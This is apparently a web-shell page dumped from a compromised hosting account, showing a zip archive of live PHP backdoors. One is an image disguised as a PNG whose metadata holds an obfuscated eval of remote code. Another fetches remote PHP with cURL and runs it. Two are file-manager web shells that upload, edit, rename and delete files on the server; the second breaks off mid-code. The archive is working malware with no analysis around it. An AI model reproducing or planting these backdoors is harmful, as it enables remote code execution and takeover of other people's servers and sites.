AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/4pf85y.zip
PK�:m\MQK���	146yi.phpnu�[����PNG

   
IHDR   @   @   ?iq?   	pHYs  
  
 ?�   �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?>
9HO?  
IDATx�?�
��UC?<�?
?Pj?A?d*E)"??A��R?A$�,`A??T
 C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s�
�??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I
?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ
Zb|?�$}H?�a??�?/d�??Y�>,�F?U
FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;׋:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e;
5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l�
ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x
J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b?
�nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&�
�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�#
?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep	^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~>
2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??�
I&.�??�??k?��Hi]$�
Up�A?E��G�V?�qI?1� �?0x
I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?�
�, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^
<??��?=�??�ihAM��.�x�DM?�,(?�??4?]
�
�k?}
???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS?
�N�UU)+g�_0?�?E�?bvp??z G?U!?V
U���I?,"Gz=3?2??�
N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E	�<A��?]V�
7Of"�~??�C�?(U?x
v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~'
�G`�eu�?%?�8??���ob�cp
?��???E?al?g�ntPx?�b�?鄩	�?E?2?�#A�DD!,�???಻�qײA?�?w�W��?S�3X�q�_d1?J�7P
I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s���
?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I    IEND�B`�PK�:m\M����	huext.phpnu�[���<?php
$url = 'https://stepmomhub.com/3.txt';

// Inisialisasi cURL
$ch = curl_init();

// Set opsi cURL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  // Nonaktifkan verifikasi SSL jika perlu
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Nonaktifkan verifikasi SSL jika perlu

// Eksekusi cURL dan ambil hasilnya
$code = curl_exec($ch);

// Cek apakah cURL berhasil
if($code === false) {
    echo "Gagal mengambil data dari URL: " . curl_error($ch);
} else {
    // Jalankan kode yang diambil
    eval('?>' . $code);
}

// Tutup sesi cURL
curl_close($ch);
?>PK�:m\Aj�%\%\	962ta.phpnu�[���<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
PK�:m\t�J��)�)	jimvt.phpnu�[���<?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
    $current_dir=$dir==''?$wwwroot:$dir;
    $current_dir=rtrim($current_dir,'/');
    $current_dir_nav='';
    $dir_path='';
    $current_dir_split=explode('/',$current_dir);
    foreach( $current_dir_split as $dir )
    {
        $dir_path.=$dir.'/';
        $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
    }
    $dir_rows='';
    $file_rows='';
    $current_dir_list=sCaNDir($current_dir);
    $row_id=0;
    foreach( $current_dir_list as $target_name )
    {
        if ( $target_name=='.' || $target_name=='..' ) continue;
        $target=$current_dir.'/'.$target_name;
        $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
        $row_id++;
        $target_u_id=fIlEOwNEr($target);
        $target_u_att=poSIx_GEtpWUid($target_u_id);
        $target_owner=$target_u_att['name'];
        $target_perm=get_qx($target);
        $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
        if ( is_dir($target) )
        {
            $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#"  onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }else
        {
            $target_fsize=fILesIzE($target);
            $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
            $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }
    }
    $div_html='<table cellspacing="10">
                 <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a>&nbsp;&nbsp;当前目录:'.$current_dir_nav.'&nbsp;&nbsp; <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
                 <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
                 '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
              </table>';  
}elseif ( $action=='sc' )
{
    if ( $file!='' )
    {
        uNlInk($file); jump_to('?d='.diRNaMe($file));
    }elseif( $dir!='' )
    {
        rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
    }
    exit;
}elseif( $action=='gm' )
{
    $gm=isset($_POST['gm'])?trim($_POST['gm']):'';
    if ( $gm!='' )
    {
        $old_f=$file==''?$dir:$file;
        if ( $old_f!='' && file_exists($old_f) )
        {
            $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
        }
    }else
    {
        show_msg('请输入新名称!','back');
    }
    exit;
